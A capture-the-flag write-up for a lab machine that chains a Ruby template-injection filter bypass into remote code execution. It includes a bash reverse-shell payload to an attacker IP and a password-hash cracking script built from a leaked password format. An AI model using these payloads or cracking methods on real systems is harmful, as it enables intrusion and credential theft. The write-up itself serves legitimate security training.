Reconnaissance
First, I added the new host to my known ones:
sudo echo "10.10.11.253 perfection.htb" | sudo tee -a /etc/hosts
Then, I performed a Nmap scan:
nmap -sC -T4 -p- perfection.htb > sC.txt
[redacted]
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http
|_http-title: Weighted Grade Calculator
So I checked its website:
I noticed a software called WEBrick 1.7.0 running:
I also tried some LFI and found that the website is using Sinatra:
Iโll try the calculator:
Iโll capture the request with Burpsuite:
I now submit an OK request and capture it with Burp:
Iโll try a possible SSTIs:
<%= %>
Got blocked by a regex.
Weaponization
Iโll try some SSTI payloads from PayloadsAllTheThings:
test
<%= IO.popen("id").readlines()%>
# to url encode:
test%0A%3C%25=%20IO.popen(%22id%22).readlines()%25%3E
Exploitation
Got RCE:
So now Iโll get a reverse shell with this payload:
test
<%= IO.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.21/666 0>&1'").readlines()%>
# to url encode (encode all chars):
test%0A%3C%25%3D%20IO%2Epopen%28%22bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E21%2F666%200%3E%261%27%22%29%2Ereadlines%28%29%25%3E
Got a reverse shell :D
User flag
Privilege Escalation
Susan has sudo
privileges, but I donโt know her password:
Inside Susanโs home there is a database called Migration/pupilpath_credentials.db
, which I downloaded to my machine. Then I opened it with an sqlite browser:
Letโs try to crack those hashes:
None of them are successful. So I decided to check /var/mail
and found that susan has an entry:
cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
Okey so now Iโll create a python script that generates this wordlist:
import itertools
import argparse
from tqdm import tqdm
def generate_case_variations(word):
"""Generates all word combinations"""
return set(map("".join, itertools.product(*((c.lower(), c.upper()) for c in word))))
def generate_wordlist(firstname, min_number, max_number, case_sensitive, filename="passwords.txt"):
variations = [firstname] if not case_sensitive else generate_case_variations(firstname)
with open(filename, "w") as f:
total_combinations = len(variations) * (max_number - min_number + 1)
with tqdm(total=total_combinations, desc="Generating wordlist...", unit=" passwords") as pbar:
for variation in variations:
reversed_variation = variation[::-1]
for i in range(min_number, max_number + 1):
password = f"{variation}_{reversed_variation}_{i}"
f.write(password + "\n")
pbar.update(1)
print(f"\nWordlist created and saved in '{filename}' with {total_combinations} passwords.")
# Configurar argumentos de lรญnea de comandos
parser = argparse.ArgumentParser(description="Password wordlists generator.")
parser.add_argument("firstname", type=str, help="Word to use.")
parser.add_argument("min_number", type=int, help="Minimum value.")
parser.add_argument("max_number", type=int, help="Maximum value.")
parser.add_argument("--case_sensitive", action="store_true", help="Generate all upper and lowercase combinations.")
args = parser.parse_args()
generate_wordlist(args.firstname, args.min_number, args.max_number, args.case_sensitive)
As I previously found susanโs hash, Iโll compare them so I can fit the correct hash. Iโll modify the script to also generate the sha256 of each word in a wordlist:
- Susanโs hash:
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
import itertools
import argparse
import hashlib
from tqdm import tqdm
def generate_case_variations(word):
"""Generates all case variations of a word."""
return set(map("".join, itertools.product(*((c.lower(), c.upper()) for c in word))))
def sha256_hash(word):
"""Converts a word to its SHA-256 hash."""
return hashlib.sha256(word.encode()).hexdigest()
def generate_wordlist(firstname, min_number, max_number, case_sensitive, filename="passwords.txt"):
variations = [firstname] if not case_sensitive else generate_case_variations(firstname)
with open(filename, "w", encoding="utf-8") as f:
total_combinations = len(variations) * (max_number - min_number + 1)
with tqdm(total=total_combinations, desc="Generating wordlist...", unit=" passwords") as pbar:
for variation in variations:
reversed_variation = variation[::-1]
for i in range(min_number, max_number + 1):
password = f"{variation}_{reversed_variation}_{i}"
hashed_password = sha256_hash(password)
f.write(f"{password}:{hashed_password}\n") # Save in the format "password:hash"
pbar.update(1)
print(f"\nโ
Wordlist created and saved in '{filename}' with {total_combinations} passwords.")
# Command-line argument configuration
parser = argparse.ArgumentParser(description="Password wordlist generator.")
parser.add_argument("firstname", type=str, help="Word to use.")
parser.add_argument("min_number", type=int, help="Minimum value.")
parser.add_argument("max_number", type=int, help="Maximum value.")
parser.add_argument("--case_sensitive", action="store_true", help="Generate all upper and lowercase combinations.")
args = parser.parse_args()
generate_wordlist(args.firstname, args.min_number, args.max_number, args.case_sensitive)
To find a match Iโll use my script KeyHunter:
python3 keyhunter.py passwords.txt abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Got a match :D
susan:susan_nasus_413759210
I can now login using ssh and execute sudo -l
:
sudo -l
[redacted]
(ALL : ALL) ALL
sudo su
Another way
This one is the official writeup way:
First, create a wordlist file:
echo "susan_nasus_" > wl
Then create a hash file containing susanโs password hash:
echo "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" > hash
Last, execute hashcat:
hashcat -m 1400 -a 6 hash wl ?d?d?d?d?d?d?d?d?d -O
Root flag
Machine pwned!